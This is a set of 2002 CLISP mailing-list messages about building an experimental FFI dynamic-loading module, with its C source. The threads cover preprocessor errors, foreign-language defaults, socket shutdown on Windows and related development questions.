dynload.d:123: warning: preprocessing directive not recognized within macro arg
dynload.d:123: warning: preprocessing directive not recognized within macro arg
dynload.d:123: warning: preprocessing directive not recognized within macro arg
gcc -g -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare  -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_READLINE -c dynload.i.c
dynload.d:82: `#else' after `#else'
 (matches line 78)
dynload.d:117: warning: `#ifdef' with no argument
dynload.d:120: #error "what dlsym now?"
make: *** [dynload.o] Error 1

Now I solved these problems by cruelly excising nearly all Joerg's
#ifdefs and #errors, and the changed dynload.d builds and works
without problems.  This is obviously not portable, however.  On the
other hand, the original dynload.d is not portable anyway.  It uses
preprocessor directives inside macros, which is not part of the C
standard:

http://gcc.gnu.org/fom_serv/cache/29.html

If anyone wants to try it with the my hacked version, its appended.

Regards,
Peter
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# preliminary FFI enabler hacks
# For testing & reporting only
# This file is to become part of CLISP
# (c) Jörg Höhle, 2002

#include "lispbibl.c"

#ifndef WANT_SYSDLL
#define WANT_SYSDLL
#endif


#ifdef WANT_SYSDLL
# sysdll.c needs -DHAVE_SHLIB or it will compile empty
#include "sysdll.h"
#endif

/* Notes
o SPVW.D:dynload_modules() uses dlopen(RTLD_NOW) while all other calls
  to dlopen() I've seen use RTLD_LAZY. Why?
o dynaload.c on WIN32 uses LoadLibraryExA(DLOPEN_MODE) instead of LoadLibraryA.
  What's the advantage?

;;;  Comments about XEmacs' sysdll.c:
o dll_open doesn't pass through dl_open(flags), e.g. RTLD_LAZY
  That's what I planned the optional arguments to FOREIGN-LIBRARY for.
o error status is abysmal: "Generic shared library error", while CLISP
  provides extensive support for reporting (OS_errno, OS_error)
  TODO? rewrite and provide good error reporting
*/

# Allocate a foreign address.
# make_faddress2(base,destination)
# > base: base address
# > destination: absolute, not relative to base
# < result: Lisp object
  local object make_faddress2 (object base, void* destination);
  local object make_faddress2(base,offset)
    var object base;
    var void* destination;
    {
      pushSTACK(base);
      var object result = allocate_faddress();
      # TODO ensure un-/signed arithmetic works
      TheFaddress(result)->fa_offset = (sintP)((uintP)destination - (uintP)Fpointer_value(STACK_0));
      # TODO require validating address or not??
      TheFaddress(result)->fa_base = popSTACK(); # base
      return result;
    }

# TODO?? rename to REALLY-OPEN-LIBRARY or manage externally visible list
# *FOREIGN-LIBRARIES* of (name libptr . functions)
# a) allows closing upon exit
# b) allows graceful reopening when CLISP restarts
# c) provides interface via ffi::update-foreign-address to correct
# the addresses of all library functions in the new Lisp session.
# However I don't like the automatic opening at module initialization
# time that Bruno Haible added for AmigaOS (foreign.d:validate_fpointer)
# since i) the environmen may not be ready yet (getenv PATH, EXT:CD)
# and ii) some libraries have dynamic extent (e.g. bsdsocket.library)
# and may not be ready for opening when CLISP starts up.
# The programmer needs to control this.

# (FFI::FOREIGN-LIBRARY name &optional flag)
# returns a foreign library specifier.
LISPFUN(foreign_library,1,1,norest,nokey,0,NIL)
  {
    var object name = STACK_1;
    if (!stringp(name)) # TODO? accept pathname
      fehler_string(name);
    # flag ignored for now
    # Pre-allocate room:
    pushSTACK(allocate_fpointer((void*)0));
    var void* libaddr;

      with_string_0(name,O(pathname_encoding),libname, {
        begin_system_call();
        libaddr = dll_open(libname);
        end_system_call();
      });
      if (libaddr == NULL) {
        pushSTACK(name);
        pushSTACK(TheSubr(subr_self)->name);
        fehler(error,GETTEXT("~: cannot open library ~"));
      }
      var object lib = popSTACK();
      TheFpointer(lib)->fp_pointer = libaddr;
      value1 = lib;
    mv_count=1; skipSTACK(2);
  }

# TODO? &optional required for AMIGAOS, i.e. varying signature
# (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option)
LISPFUN(resolve_foreign_name,2,1,norest,nokey,0,NIL)
  {
    var object name = STACK_2;
    if (!stringp(name))
      fehler_string(name);
    STACK_2 = coerce_ss(STACK_2);
    if (!fpointerp(STACK_1)) { # TODO type error
      pushSTACK(STACK_1);
      pushSTACK(S(foreign_pointer));
      pushSTACK(TheSubr(subr_self)->name);
      fehler(error,GETTEXT("~: argument is not a ~: ~"));
    }
    var void* libhandle = Fpointer_value(STACK_1);
    var void* addr;
      # TODO? use misc_encoding
      with_string_0(name,O(foreign_encoding),symname, {
        begin_system_call();
        addr = dll_function(libhandle,symname);
        end_system_call();
      });
    if (addr == NULL) {
      pushSTACK(name);
      pushSTACK(TheSubr(subr_self)->name);
      fehler(error,GETTEXT("~: cannot locate ~ in foreign library"));
    }
  value1 = make_faddress2(STACK_1,addr); mv_count=1;
  skipSTACK(3);  
}

# To become part of FOREIGN.D:
# (FFI:FOREIGN-ADDRESS-FUNCTION name address ctype)
LISPFUNN(foreign_address_function,3)
  {
    if (!stringp(STACK_2))
      fehler_string(STACK_2);
    STACK_2 = coerce_ss(STACK_2);
    if (!faddressp(STACK_1)) { # TODO type error
      pushSTACK(STACK_1);
      pushSTACK(S(foreign_address));
      pushSTACK(TheSubr(subr_self)->name);
      fehler(error,GETTEXT("~: argument is not a ~: ~"));
    }
    {
      var object fvd = STACK_0;
      if (!(simple_vector_p(fvd)
            && (Svector_length(fvd) == 4)
            && eq(TheSvector(fvd)->data[0],S(c_function))
            && simple_vector_p(TheSvector(fvd)->data[2])
         ) ) {
        dynamic_bind(S(print_circle),T); # *PRINT-CIRCLE* an T binden
        pushSTACK(fvd);
        pushSTACK(TheSubr(subr_self)->name);
        fehler(error,GETTEXT("~: illegal foreign function type ~"));
      }
    }
    var object ffun = allocate_ffunction();
    var object fvd = STACK_0;
    TheFfunction(ffun)->ff_name = STACK_2;
    TheFfunction(ffun)->ff_address = STACK_1;
    TheFfunction(ffun)->ff_resulttype = TheSvector(fvd)->data[1];
    TheFfunction(ffun)->ff_argtypes = TheSvector(fvd)->data[2];
    TheFfunction(ffun)->ff_flags = TheSvector(fvd)->data[3];
    value1 = ffun; mv_count=1; skipSTACK(3);
  }

# Joerg Hoehle's FFI hacks
void *clisp_ffi_indirector = NULL;
unsigned long int C_self(unsigned long obj)
{ return obj; }

# Module structure

uintC module__dynload__object_tab_size = 0;
object module__dynload__object_tab[1];
object_initdata module__dynload__object_tab_initdata[1];

#undef LISPFUN
#define LISPFUN LISPFUN_F
#undef LISPSYM
#define LISPSYM(name,printname,package)  { package, printname },

# TODO package "FFI" is locked in .mem, thus unusable
# I consider it a bug that low-level module code is hindered by PACKAGE-LOCK
#define ffi  "USER"

#define subr_anz  3

uintC module__dynload__subr_tab_size = subr_anz;

subr_ module__dynload__subr_tab[subr_anz] = {
  # LISPFUNN(mark_foreign_invalid,1)
  LISPFUN(foreign_library,1,1,norest,nokey,0,NIL)
  LISPFUN(resolve_foreign_name,2,1,norest,nokey,0,NIL)
  LISPFUNN(foreign_address_function,3)
};

subr_initdata module__dynload__subr_tab_initdata[subr_anz] = {
  # LISPSYM(mark_foreign,"SET-INVALID",ffi)
  LISPSYM(foreign_library,"FOREIGN-LIBRARY",ffi)
  LISPSYM(resolve_foreign_name,"RESOLVE-FOREIGN-NAME",ffi)
  LISPSYM(foreign_address_function,"FOREIGN-ADDRESS-FUNCTION",ffi)
};

# called once when module is initialized, not called if found in .mem file
void module__dynload__init_function_1(module)
  var module_* module;
  {
    # TODO? (pushnew :DYNAMIC-FFI *features*)
  }

# called for every session
void module__dynload__init_function_2(module)
  var module_* module;
  {
#if defined(WANT_SYSDLL)
    # TODO dld needs char* executable_name -- local char* program_name in spvw.d
    dll_init(NULL);
#endif
  register_foreign_variable(&clisp_ffi_indirector,"clisp_ffi_indirector",0,sizeof(clisp_ffi_indirector));
  register_foreign_function(&C_self,"C_self",1024);
  }

# If we had a module exit function, we could close all libraries


--x+6KMIRAuhnl3hBn--


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Hi,

I came across Gmane today <http://gmane.org/> which is GNU Mail to News and
back again. This provides a news like interface to lots of mailing lists and
includes the Clisp mailing lists.

Fair enough so far.

However, there is a webserver i/f to the mailing lists that is freely
accessible and does not hide email addresses. So, I find that my email
address is exposed quite widely. See
 <http://news.gmane.org/thread.php?group=gmane.lisp.clisp.general>

Well, that's not so good. I get enough spam as it is and how long before the
spammers harvest from Gmane?

I suppose this email should be sent to them, but I presume someone asked for
Gmane to mirror the Clisp lists. While Gmane exposes email addresses, I
think Clisp lists should not appear via Gmane.

Until I know the situation I shall not contact Gmane directly. Can that
whoever ask for the lists to appear with email address removed, much like
they do when accessed via sourceforge?

Thanks,
Peter





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Hello,
I tried to build clisp2.28 with a recent cygwin (OS is WinMe) from
source. Well I failed. Should I try a older version of clisp or is it
impossible? I followed the instructions in the unix-directory as
mentioned in the cygwin-directory. Before I post a lot of compiler
output to this list I think it is better to ask if someone succeded in
building clisp in such an environment.

bye
   KP
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aber die meisten mit Unrecht.=20=20
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Hello fellows,

I have talked a couple of times with Bruno about this
issue. (We started reasoning about this a couple of years
ago already)

Here is my plan.
1. In the future I would like to concentrate a little less on
   comment translations. (Not such a big sparetime pleasure
   as it may seem at the first glance... :-)


2.  I will add a function in compiler.lisp that emits C-code
     instead of byte-code vectors. The clou is to have
     interprete_bytecode_ (a C function) in mind, interprete the
     bytecode abstractly (abstract interpretation) and instead
     of in-place-executing the C-code of each case-statement,
     adding it to a C-code-vector. In a second pass the C-code
     table will be instrumented with the jump-labels. Then,
     the code is serialized to a file. (I know three passes...
     how unelaborate... but this is my first guess. I first want
     to see reasonable C-output. Only then we can talk about efficient
     code-generation...)

I am serious about this.

Please do not get me into an efficiency discussion... (Will the C code
be more efficient than byteode...)

I think, the speed gain will be comparatively low.
Due to instruction-cache limitations, we might even become slower...
(the resulting object-code from b->C->o - compilation will be
significantly
larger)

The compilation process will also be much longer.

So I definitely do not expect any miracles to happen.
I just want to have fun solving (trying to solve) this interesting
problem.

Good night! :-)

Bye,
Stefan K.


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Hi,

Sam wrote on the 11th of March:
> done.  DEF-C-CALL-* are now deprecated and the default should be set
> using DEFAULT-FOREIGN-LANGUAGE (just like IN-PACKAGE).

For weeks now I've been thinking about how to express my dislikes
and what the core of the problem is. Here's an attempt at it:

I oppose the implementation of this patch.

While I like the idea of file-wide (or compilation unit wide)
defaults, the implemented solution fails to consider run-time behaviour.

o it only works in environments where a global default-foreign-language makes sense. However, in such an environment, the proposed solution is overkill.
o it doesn't handle dynamic function creation (at run-time) well.
o it may lead to the "it works for me [the programmer]!" disease.

Consider the following scenario:

Enters the programmer.
[The programmer is on UNIX. After some learnign by doing, s/he has
DEFAULT-FOREIGN-LANGUAGE globally set to :stdC (ANSI-C) because
that's the only sensible choice (C++ names not yet supported by
CLISP, doesn't know what K&R is).]

(defun regexp-exec (compiled-pattern text)
  ;; return exactly as many extra elements as there are () in the regexp.
  (let ((nsub (regexp-groups compiled-pattern)))
    (multiple-value-bind (errcode matches)
        (funcall (ensure-foreign-function #'regexec :type
          `(c-function
            :arguments ((preg c-pointer)
                        (nmatch size_t)
                        (results (c-ptr (c-array regmatch_t ,nsub)) :out :alloca))
            :return-type int))
         compiled-pattern
         (1+ nsub))
      (if (zerop errcode) matches))))
Programmer tests. Everything is fine.
Programmer exists.

Enters the luser.
[User is on M$-Windows.]
[M$-User's default-foreign-language is :STDCALL because Reini or Dan said most functions there are this way.]
(use-package "REGEXP")
(regexp-compile #)
(regexp-match #)
Crash
[After several hours lost searching, User complains on mailing list etc.]

Point taken in reliable and dependable software:
	Attempt to have the programmer *state the obvious*.

This is not necessarily against natural lazyness
(e.g. def-c-call-out vs. def-call-out).

I think a correct solution would be to close over the file's
declared foreign language. I don't know how to do that.

Special variables and dynamic binding are your ennemies here. That's
how Emacs-Lisp looses in front of Common Lisp and Scheme.

I believe any attempt at a solution in between no default and
default-by-closure is going to break and loose someplace.

My proposal:

o Do not deprecate DEF-C-CALL-OUT. That's what 99% or programmers
have been using 95% of time.
It consisely expresses the function's signature without
affecting arguments. Think about the subtle difference between:
(def-stdcall-call-out foo
   (:arguments ((callback (c-function (:arguments #)))))
   (:return-type int))
and
(default-foreign-language :stdcall)
(def-call-out bar
   (:arguments ((callback (c-function (:arguments #)))))
   (:return-type int))

o Make :stdc the *constant* and documented default when no :language is given.
I don't think this would break code. K&R C is history. IMHO this
should have been changed long ago at the same time that CLISP said:
#if !defined(ANSI)
  #error "An ANSI C or C++ compiler is required to compile CLISP!"

o Provide nice DEF-WIN32-CALL-OUT etc. macros to support people's natural lazyness, long for compactness and ease of reading.

(In other words, revert patch except for :C -> :stdc in parse-foreign-type.)

Think should prevent the situation where the programmer is used
not to indicate :language (which is completely acceptable) but where
the code works on some implicit assumption. Yet I still like the idea
of file-wide defaults.


Principles that I attempt to follow:
o Let programmers rely on documented and fixed semantics and behaviour.
o Think about referential transparency. Think about what functional programming has to say.
o Provide constant behaviour.
o Think about the difference between the compilation and the run-time
  environments (see appropriate section in Common Lisp).
o Don't make your program correct behaviour depend on some external and
  user configurable switch. (Some day, I may write an article about how
  broken all the *print- are). You'll shoot yourself in the foot in a
  couple of month or years.


Sorry for my reaction more than one month after the proposed patch.

Regards,
	Jorg Hohle.


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Hi,

Sam wrote:
> > I don't know if variable size arrays will ever be 
> > implemented for the FFI.
> I thought you were working on that!

I'm dreaming of
(def-c-call-out regexec
    (:arguments (preg (c-ptr regex_t))
                (string c-string)
                (nmatch size_t :in)
                (pmatch (c-ptr (c-array regmatch_t ,is_len(nmatch))) :out :alloca)
                (eflags int))
  (:return-type int))
but this is not yet within reach.
It's also broken (cf. my FFI-limits text). My current thoughts are along:

(def-c-call-out regexec
    (:arguments (preg (c-ptr regex_t))
                (string c-string)
                (nmatch size_t :in)
                (pmatch (c-ptr (c-array regmatch_t ,is_len(nmatch))) :out :alloca
			:guard (zerop result))
                (eflags int))
  (:return-type int))
I.e. the array is only returned when the function call returns success.

For now, I concentrate on more low-level (i.e. less declarative) variable-size stuff. This should be useful for UFFI as well.


> > b3) "100% better solution": revisit interface so as to not stupidly
> > impose NUM-MATCH=10 but obtain number of actual groups via
> > regexp-compile. Be dynamic!
> thanks.  are you sure you b3 is out of reach?
The above is 100% of course (or 150%)).

Another 100% good enough for regexp I've been thinking about is a cached
mapping from n in [0..] to foreign-function of
type (c-function (c-ptr (c-array regmatch_t ,n)) #)

(defun regexp-exec (compiled-pattern string)
 (let ((nsub (regexp-groups compiled-pattern)))
   (multiple-value-bind (errcode matches)
       (funcall (or (getf array nsub) (setf+extend array i)
                      (fcast #'regexec ;; fcast is in my hacks#1 file
               (ffi::parse-c-type
        ;; cf todays critique of default-foreign-language mail
        `(c-function (..... (c-ptr (c-array regmatch_t ,nsub)) )))
         compiled-pattern
         (1+ nsub))
      (if (zerop errcode) matches))))

That's as efficient as it can get. Presetting of cache array is of course possible at load-time.

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	Jorg Hohle.


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Hi,

Scott Williams wrote:
> would work to
> make stand-alone executables (ie, no other files needed for 
> the program to

If that's all you're after, why don't you try the following:

ls -l lispinit.mem -> e.g. 987654 bytes

mymem.c:
char mymem[987654] = {
#include "mymem.h"
};
Use dd or some Lisp code to produce mymem.h from lispinit.mem in a format readable by the C compiler. If you know assembly, generate assembly code instead (much faster). If you know object files (or have an API), create one directly (faster again).

Then add a little C code to CLISP to read its .mem file from the mymem array instead.
Disable reading .clisprc (or language or any other files). Add your .so and whatever modules. Link everything statically for the usual fake security reasons.

Please report how this works. It should. I don't know if somebody ever tried this. Interest in stand-alone seems low outside the security area these days.


[Sounds like one of these "let's dream" threads. See the empty http://sourceforge.net/projects/clisp Task Manager about "Native Compilation" or "JVM Compilation".]

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	Jorg Hohle.


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Hi,

Peter Wood wrote:

> dynload.d:86: warning: preprocessing directive not recognized 
> within macro arg

> dynload.d:82: `#else' after `#else'
>  (matches line 78)
> dynload.d:117: warning: `#ifdef' with no argument
> dynload.d:120: #error "what dlsym now?"
> make: *** [dynload.o] Error 1

Weird. Perhaps too many preprocessing stages??!?

> other hand, the original dynload.d is not portable anyway.  It uses
> preprocessor directives inside macros, which is not part of the C
> standard:
That's not intended. My code says:
#ifdef WANT_SYSDLL
        addr = dll_function(libhandle,symname);
#else
#error "what dlsym now?"
#endif

I fail to see what's wrong with the above code.

CLISP has similar places:
#if !(defined(AMIGA) || defined(ACORN) || defined(OS2) || defined(WIN32))
  #if defined(unix)
    #define GENERIC_UNIX
  #else
    #error "Unknown machine type -- set machine again!"
  #endif
#endif
#if !defined(ANSI)
  #error "An ANSI C or C++ compiler is required to compile CLISP!"
#endif

How's my code any different?


> Now I solved these problems by cruelly excising nearly all Joerg's
> #ifdefs and #errors,

That's fine. Anyway, it is a remnant from the time where I wanted to provide a single module compilable with either one of sysdll.d, dynaload.c or whatever else. That's what WANT_SYSDLL is for. It should be completely eliminated.


BTW, don't spend much time writing Makefile entries by hand. It's generated. The format should be exactly the same as for other .d files of CLISP. WANT_SYSDLL probably be replaced by something else. E.g. configure --with-dynload. However, CLISP may need some flag for modules.h:

modules.h could say in future, instead of being empty:
#if defined(WANT_SYSDLL) -- or defined(HAVE_SHLIB) ??
  MODULE(dynload)
#endif
MODULE(regexp)
#if defined(WIN32)
  MODULE(dirkey)
#endif

OTOH, modules.h could be generated as well and not contain #ifdef. Strictly speaking, there's no need for a flag to the C compiler.

That's something which needs to be decided (naming etc.) -- Sam?

But there are bootstrap issues to solve prior to that.

config.h needs to define HAVE_CONFIG_H, HAVE_SHLIB and HAVE_DLOPEN/SH_LOAD/DLERROR/_DLERROR (what sysdll.c uses) via autoconf macros on UNIX.

Many thanks for your feedback. Please try to investigate the preprocessor inside preprocessor thing.

Regards,
	Jorg Hohle.


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Peter,

you pass the file twice through gcc's cpp.

> dynload.c : dynload.d comment5 ansidecl varbrace
> 	$(COMMENT5) dynload.d | $(ANSIDECL) | $(VARBRACE) > dynload.c
> 
> dynload.i.c : dynload.c lispbibl.c sysdll.h
> 	$(CPP) $(CFLAGS) dynload.c > dynload.i.c
> 
> dynload.o : dynload.i.c lispbibl.c sysdll.h
> 	$(CC) $(CFLAGS) -c dynload.i.c
> 	$(MV) dynload.i.o dynload.o

.d -> .c -> .i.c -> .o is too much

> dynload.d:82: `#else' after `#else'
>  (matches line 78)
> dynload.d:117: warning: `#ifdef' with no argument
> dynload.d:120: #error "what dlsym now?"

The first cpp pass will have replaced the tokens. The second of course finds nothing left.


My current thoughts on HAVE_SHLIB WANT_SYSDLL Makefile etc.
sysdll.c says:
#else
/* Catchall if we don't know about this systems method of dynamic loading */
dll_handle
dll_open (const char *fname)
{ return NULL; }

I don't like this behaviour of sysdll.c at all. You compile, get no error. Only the user gets an error at run-time :-( :-(


Solution: one of:
1. Either modify sysdll.c to remove that test. But then, our sysdll.c is not a drop-in replacement any more. Or
2. Duplicate checks sysdll.c does in dynload.d (defined HAVE_DLOPEN || HAVE_SHL_LOAD || WIN32_NATIVE). If it's not, #error "do not let sysdll compile to empty stubs".
On UNIX, dynload.d will get HAVE_* through lispbibl.c through config.h so no extra switch would be needed.


I'm also considering *not* using sysdll.c for MS-Windows (doing GetProcA() etc. myself in dynload, like for AmigaOS). Sysdll.c would only be needed for systems with config.h (UNIX). Then, sysdll.c should not be used nor linked on MS-Windows, but required for UNIX. I'd get no problem with -UUNICODE and GetPRocAddressA vs GetProcAddressW().

Comments welcome.

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	Jorg Hohle.


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Hi,

Sam Steingold and I request the help of the MS-Windows experts among =
you:
1. SOCKET-ACCEPT seems not interruptible via ^C (server socket even =
seems broken afterwards).

2. inspect HTTP server doesn't seem to work (unrelated?)

Sourceforge Bugtracker:
http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D542902&grou=
p_id=3D1355&atid=3D101355


Ad 2.: I get "could not open, connection reset" from the browser, most =
of the time. However, sometimes, Netscape 4.7 or MS-IE 5 get through =
and display something!
(setq sys::*inspect-debug* 5)
(inspect *package* :frontend :http)

Even then, using "Quit" link signals
A network error occurred while Netscape was receiving data. (Network =
Error: Connection reset by peer). Try Connecting again.

Ie5 says (in German): Site http://foo.telekom.de:3192/0/:s cannot be =
opened. The connection to the server was reset.

BTW, Arseny Slobodjuck recently posted the MS-Windows shutdown() =
Manpage. It says, which surprised me:
>To  assure  that  all  data is sent and received on a connected socket
>before  it  is  closed,  an  application  should use shutdown to close
>connection  before  calling  closesocket.  For  example, to initiate a
>graceful disconnect: [...]

Thanks,
	J=F6rg H=F6hle.


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Hi,

> I have noticed a bug on m$ windows, when linking to modules containing
> functions with more
> than 6 arguments.  I get the error message : Unknown 
> signature of a SUBR

It seems like a fundamental restriction in CLISP (not only MS-Windows: all). Witness pieces of lispbibl.d, spvw.d and eval.d. Don't dream of seeing this changed (bytecodes etc. probably depend on this).

# the argtype component is a uintW, while we really mean:
  typedef enum {
    subr_argtype_0_0,
    subr_argtype_1_0,
    subr_argtype_2_0,
    subr_argtype_3_0,
    subr_argtype_4_0,
    subr_argtype_5_0,
    subr_argtype_6_0,
    ....
                        switch (req_anz)
                          { case 0: return(subr_argtype_0_0);
                            case 1: return(subr_argtype_1_0);
                            case 2: return(subr_argtype_2_0);
                            case 3: return(subr_argtype_3_0);
                            case 4: return(subr_argtype_4_0);
                            case 5: return(subr_argtype_5_0);
                            case 6: return(subr_argtype_6_0);
                            default: goto illegal;

This sounds like a show-stopper.

SUBR (internal and module functions) appear less flexible in this aspect than LISP ones, or even those called via FFI. Uh. Oh.
&rest arguments maybe left as an option. Not as nice.

Regards,
	Jorg Hohle.


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Hi, 

I am currently porting a research project* from Scheme to CL and all
goes fine and fast thanks to CLISP... 

Anyway, I know probably thousands of people already asked you this but
the only feature I need to do a complete port and which does not seem to
be present yet in CLISP is : native threads (or, at least, user level
preemptive threads).

I saw on the website that there were plans to support NT and I know it's
not a simple thing (I followed their integration in the Ocaml compiler I
also employ)...

I am too new to CL and lisp compilation to imagine being useful except
for testing purposes, at least for the moment... But do you have a
roadmap or something about this *hot* topic (I may convince my
co-workers to adopt Clisp but they will stick to java without native
threads :-( ...

But thanks to you, I can compile my defmacros and run them on linux (to
work) and win32 (to "sell") !
So I am already happy with Clisp ;-)

Regards,
Fred.

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Hi,
On Mon, Apr 15, 2002 at 11:30:58AM +0200, Hoehle, Joerg-Cyril wrote:
> Hi,
> 
> Peter Wood wrote:
> 
> > dynload.d:86: warning: preprocessing directive not recognized 
> > within macro arg
> 
> > dynload.d:82: `#else' after `#else'
> >  (matches line 78)
> > dynload.d:117: warning: `#ifdef' with no argument
> > dynload.d:120: #error "what dlsym now?"
> > make: *** [dynload.o] Error 1
> 
> Weird. Perhaps too many preprocessing stages??!?
> 
> > other hand, the original dynload.d is not portable anyway.  It uses
> > preprocessor directives inside macros, which is not part of the C
> > standard:
> That's not intended. My code says:
> #ifdef WANT_SYSDLL
>         addr = dll_function(libhandle,symname);
> #else
> #error "what dlsym now?"
> #endif
> 
> I fail to see what's wrong with the above code.
> 
> CLISP has similar places:

I know, but I think the reason is that Clisp doesn't put these
#defines _inside_ the brackets just after a macro.  A problem arises
in dynload.d, I *think*, because in:

 with_string_0(name,O(pathname_encoding),libname, {
        begin_system_call();
        #if defined(AMIGAOS)
          libaddr = OpenLibrary(libname,0);
        #elif defined(WANT_SYSDLL)
          libaddr = dll_open(libname);
        #else
          #error "what dlopen implementation to use now?"
        #endif
        end_system_call();
      });

nothing from '(name .. to })' can be a preprocessor directive.

so 'with_string_0(...'is the offender.

> #if !(defined(AMIGA) || defined(ACORN) || defined(OS2) || defined(WIN32))
>   #if defined(unix)
>     #define GENERIC_UNIX
>   #else
>     #error "Unknown machine type -- set machine again!"
>   #endif
> #endif
> #if !defined(ANSI)
>   #error "An ANSI C or C++ compiler is required to compile CLISP!"
> #endif
> 
> How's my code any different?

I can't guarantee it, since I haven't looked at all the instances of
'#' (and you know the code much better than me), but I think you'll
find that Clisp doesn't put such directives in macro args, or it would
not compile with gcc.  I have no experience with other compilers, but
from what I have read in the gcc faq, I understand some other
compilers do allow this.

> 
> 
> > Now I solved these problems by cruelly excising nearly all Joerg's
> > #ifdefs and #errors,
> 
> That's fine. Anyway, it is a remnant from the time where I wanted to provide a single module compilable with either one of sysdll.d, dynaload.c or whatever else. That's what WANT_SYSDLL is for. It should be completely eliminated.
> 

OK.  

> 
> BTW, don't spend much time writing Makefile entries by hand. It's
generated. The format should be exactly the same as for other .d files
of CLISP. WANT_SYSDLL probably be replaced by something
else. E.g. configure --with-dynload. However, CLISP may need some flag
for modules.h:

Yes.  I was only doing it by hand to get things right before making a
patch for makemake.in.  

> 
> modules.h could say in future, instead of being empty:
> #if defined(WANT_SYSDLL) -- or defined(HAVE_SHLIB) ??
>   MODULE(dynload)
> #endif
> MODULE(regexp)
> #if defined(WIN32)
>   MODULE(dirkey)
> #endif
> 
> OTOH, modules.h could be generated as well and not contain #ifdef. Strictly speaking, there's no need for a flag to the C compiler.
> 
> That's something which needs to be decided (naming etc.) -- Sam?
> 
> But there are bootstrap issues to solve prior to that.
> 
> config.h needs to define HAVE_CONFIG_H, HAVE_SHLIB and HAVE_DLOPEN/SH_LOAD/DLERROR/_DLERROR (what sysdll.c uses) via autoconf macros on UNIX.
> 
> Many thanks for your feedback. Please try to investigate the preprocessor inside preprocessor thing.
> 

Thank you for doing this work on the ffi.  I think Clisp is going to
be better for it, and I have enjoyed experimenting with the dynload module.

I have just retried with (and without) my mistaken extra CPP stage,
and I don't think that makes any difference.  I also tried with (and
without) the preprocessor directives in the with_string_0(...) macro,
and I think that it is the culprit.

Regards,
Peter


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On Mon, Apr 15, 2002 at 12:31:58PM +0200, Hoehle, Joerg-Cyril wrote:
> Peter,
> 
> you pass the file twice through gcc's cpp.

It shouldn't result in errors.  If CPP finds no tokens, it does
nothing, doesn't it.
> 
> > dynload.c : dynload.d comment5 ansidecl varbrace
> > 	$(COMMENT5) dynload.d | $(ANSIDECL) | $(VARBRACE) > dynload.c
> > 
> > dynload.i.c : dynload.c lispbibl.c sysdll.h
> > 	$(CPP) $(CFLAGS) dynload.c > dynload.i.c
> > 
> > dynload.o : dynload.i.c lispbibl.c sysdll.h
> > 	$(CC) $(CFLAGS) -c dynload.i.c
> > 	$(MV) dynload.i.o dynload.o
> 
> .d -> .c -> .i.c -> .o is too much

I had also tried with just .c -> .o, and got similar errors.  
I just tried again, and got the same errors. (?)

Regards,
Peter


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Peter,

>  with_string_0(name,O(pathname_encoding),libname, {
>         begin_system_call();
>         #if defined(AMIGAOS)
>           libaddr = OpenLibrary(libname,0);
>         #elif defined(WANT_SYSDLL)
>           libaddr = dll_open(libname);
>         #else
>           #error "what dlopen implementation to use now?"
>         #endif
>         end_system_call();
>       });

You're right! That's must be the culprit.

I'll have a look at your file after I finish the stack allocator.
(with-stack-allocation (foo `(c-array-max character ,13) "abc")
  (describe foo)
  (ffi::foreign-value foo)
)
-> foreign-variable of type (c-array-max ...)
"abc"
(to be implemented :-)

Thanks!
	Jorg Hohle.


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> * In message <wkzo06yw80.fsf@peterb.org.uk>
> * On the subject of "[clisp-list] Gmane access to Clisp lists."
> * Sent on 14 Apr 2002 19:24:31 +0100
> * Honorable Peter Burwood <clisp@peterb.org.uk> writes:
>
> I suppose this email should be sent to them, but I presume someone
> asked for Gmane to mirror the Clisp lists.

I did not ask them, but I appreciate them making clisp lists more
available.

I get plenty of spam and I do not think that e-mail hiding helps.

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> * In message <m33cxy2fkl.fsf@hamster.pflaesterer.de>
> * On the subject of "[clisp-list] Clisp with Cywin and WinMe?"
> * Sent on Sun, 14 Apr 2002 22:30:10 +0200
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>
> I tried to build clisp2.28 with a recent cygwin (OS is WinMe) from
> source. Well I failed. Should I try a older version of clisp or is it
> impossible? I followed the instructions in the unix-directory as
> mentioned in the cygwin-directory. Before I post a lot of compiler
> output to this list I think it is better to ask if someone succeded in
> building clisp in such an environment.

<http://prdownloads.sourceforge.net/clisp/clisp-2.28-cygwin_me.tar.gz>

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> * In message <DFD875E85664D3118FA6080006277DE7055A05AF@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] socket-accept not interruptible and broken http inspect server on win32"
> * Sent on Mon, 15 Apr 2002 13:04:56 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> >To  assure  that  all  data is sent and received on a connected socket
> >before  it  is  closed,  an  application  should use shutdown to close
> >connection  before  calling  closesocket.  For  example, to initiate a
> >graceful disconnect: [...]

missed this.  please try the patch:

--- stream.d.~1.266.~	Sat Apr 13 14:42:07 2002
+++ stream.d	Tue Apr 16 09:56:35 2002
@@ -14119,6 +14115,9 @@
 #if defined(UNIX_BEOS) || defined(WIN32_NATIVE)
 local void low_close_socket (object stream, object handle) {
   begin_system_call();
+ #ifdef WIN32_NATIVE
+  if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); }
+ #endif
   if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); }
   end_system_call();
 }



 
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> * In message <DFD875E85664D3118FA6080006277DE7055A0520@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] critique of default-foreign-language (was: tiny suggestion about foreign1.lisp (FFI))"
> * Sent on Mon, 15 Apr 2002 09:17:40 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam wrote on the 11th of March:
> > done.  DEF-C-CALL-* are now deprecated and the default should be set
> > using DEFAULT-FOREIGN-LANGUAGE (just like IN-PACKAGE).
> 
> I oppose the implementation of this patch.
> 
> o Do not deprecate DEF-C-CALL-OUT. That's what 99% or programmers
> have been using 95% of time.
> It consisely expresses the function's signature without
> affecting arguments. Think about the subtle difference between:
> (def-stdcall-call-out foo
>    (:arguments ((callback (c-function (:arguments #)))))
>    (:return-type int))
> and
> (default-foreign-language :stdcall)
> (def-call-out bar
>    (:arguments ((callback (c-function (:arguments #)))))
>    (:return-type int))

your example does not use def-call-out!
the default-foreign-language is used not only in def-call-out, but also
in c-function.  do you want c-win32-function too?

